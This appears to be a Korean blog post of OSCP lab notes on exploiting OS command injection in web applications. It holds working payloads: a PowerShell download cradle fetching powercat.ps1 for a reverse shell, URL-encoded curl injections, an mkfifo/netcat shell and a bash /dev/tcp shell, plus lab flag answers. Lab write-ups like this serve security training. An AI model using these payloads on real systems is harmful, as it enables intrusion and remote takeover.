[OSCP]OS Command Injection

반응형
  1. Follow the steps above and exploit the command injection vulnerability on VM #1 to obtain a reverse shell. Since the machine is not connected to the internet, you have to skip the step of cloning the repository from the beginning of this section. Find the flag on the Desktop for the Administrator user.
    --> OS{cb43ca00e82089ed5bd2f17742c76c25}

위 submit 버튼을 통해 git 명령어를 보내면 커맨드 인젝션 탐지로 거부되었다는 알림이 나오고 curl을 통해 동일하게 보내본다.

git 명령을 통해 해당 자리에 커멘드인젝션이 되는것을 확인

git 명령얼 &인 %3B와 결합하여 ipconfig 로 명령어 먹는지 확인

(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell
위 파워쉘 실행명령어를 URL 인코딩 한다.
(dir%202%3E%261%20*%60%7Cecho%20CMD)%3B%26%3C%23%20rem%20%23%3Eecho%20PowerShell

파워쉘 응답이 떠서 사용가능함을 확인하고

NC로 연결 오픈

파이썬으로 접근 가능하도록 오픈

웹 서버가 powercat.ps1을 제공하고 Netcat 리스너가 제자리에 있으므로 이제 첫 번째 터미널에서 curl을 사용하여 다음 명령을 삽입할 수 있습니다. 세미콜론으로 구분된 두 부분으로 구성됩니다. 첫 번째 부분은 PowerShell 다운로드 크래들을 사용하여 웹 서버에서 powercat.ps1 스크립트에 포함된 Powercat 함수를 로드합니다. 두 번째 명령은 powercat 함수를 사용하여 다음 매개변수를 사용하여 역방향 셸을 만듭니다. -c는 연결할 위치를 지정하고, -p는 포트를 지정하고, -e 는 프로그램을 실행합니다.

IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.119.3/powercat.ps1");powercat -c 192.168.119.3 -p 4444 -e powershell

위 코드를 다시 url 인코딩

curl -X POST --data 'Archive=git%3BIEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.119.3%2Fpowercat.ps1%22)%3Bpowercat%20-c%20192.168.119.3%20-p%204444%20-e%20powershell' http://192.168.50.189:8000/archive

파워쉘에서 플래그로 접근이 가능

 

  1. For this exercise the Mountain Vaults application runs on Linux (VM #2). Exploit the command injection vulnerability like we did in this section, but this time use Linux specific commands to obtain a reverse shell. As soon as you have a reverse shell use the sudo su command to gain elevated privileges. Once you gain elevated privileges, find the flag located in the /opt/config.txt file.
    -->OS{6a0360a8250d44e6c88c4f10213bdc19}

와 두번째 문제에서 시간을 좀 잡아먹었네

위 두개 캡쳐같이 하면 명렁어가 반영되어 출력되는데 

git%3Bnc%20-e%20192.168.45.155%204444하면 NC관련 명령어가 안붙는다

 

그러다가 NC의 -e옵션이 비활성화 되어 있을수 있다는 블로거에 말에 다른 파이프를 활용해서 접속해봤다

mkfifo /tmp/f; nc 192.168.45.155 4444 < /tmp/f | /bin/bash > /tmp/f
URL 인코딩하면
mkfifo%20%2Ftmp%2Ff%3B%20nc%20192.168.45.155%204444%20%3C%20%2Ftmp%2Ff%20%7C%20%2Fbin%2Fbash%20%3E%20%2Ftmp%2Ff

드디어 붙었다..

권한상승하고 플래그 확인 완료

 

  1. Capstone Lab: Start the Future Factor Authentication application on VM #3. Identify the vulnerability, exploit it and obtain a reverse shell. Use sudo su in the reverse shell to obtain elevated privileges and find the flag located in the /root/ directory.

 popen() 함수 동작 이해 

popen(f'echo "test"')는 Python 코드에서 실행되는 시스템 명령어입니다. 
입력값이 f-string으로 동적으로 생성된다면 다음과 같은 명령 주입이 가능합니다.

입력이 "; ls; #"로 제공되면 최종 실행 명령은 다음과 같습니다

echo "test"; ls; #

이는 ls 명령어가 실행되고 뒤따라오는 주석(#)으로 인해 나머지 명령이 무시됩니다.

-------------------------------------------------------------
"; whoami; #" 를 넣었을때 현재 사용자 계정이 반환 되는지 확인

"; /bin/bash -c 'bash -i >& /dev/tcp/192.168.45.155/4444 0>&1'; #"

  1. Capstone Lab: Enumerate the machine VM #4. Find the web application and get access to the system. The flag can be found in C:\inetpub\.

 

cmdasp 웹쉘 쓰는 방법을 알아두자..하..시간아깝다

 

 

 

반응형

Designed by JB FACTORY